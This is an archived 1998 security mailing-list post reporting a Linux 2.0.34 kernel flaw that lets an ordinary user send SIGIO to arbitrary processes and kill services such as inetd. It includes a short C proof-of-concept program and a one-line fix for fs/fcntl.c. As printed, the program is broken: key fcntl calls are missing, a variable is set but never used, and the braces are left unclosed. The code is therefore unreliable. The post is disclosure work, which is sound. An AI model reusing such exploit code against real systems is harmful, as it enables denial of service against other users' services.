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Serious Linux 2.0.34 security problem
From: luyer () UCS UWA EDU AU (David Luyer)
Date: Tue, 30 Jun 1998 15:10:47 +0800

I just saw this mentioned on linux-kernel and confirmed it;

#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  int s, p;

  if(argc != 2) {
    fputs("Please specify a pid to send signal to.\n", stderr);
  } else {
    p = atoi(argv[1]);
  s = fcntl(0,F_GETFL,0);
  printf("Sending SIGIO - press enter.\n");
  printf("SIGIO send attempted.\n");
  return 0;

This can kill from a normal user account the inetd process under Linux
2.0.34 by sending a SIGIO.  Very bad.

The fix is to invert !euid to euid in fs/fcntl.c:send_sigio(); line number
is approximately 139.


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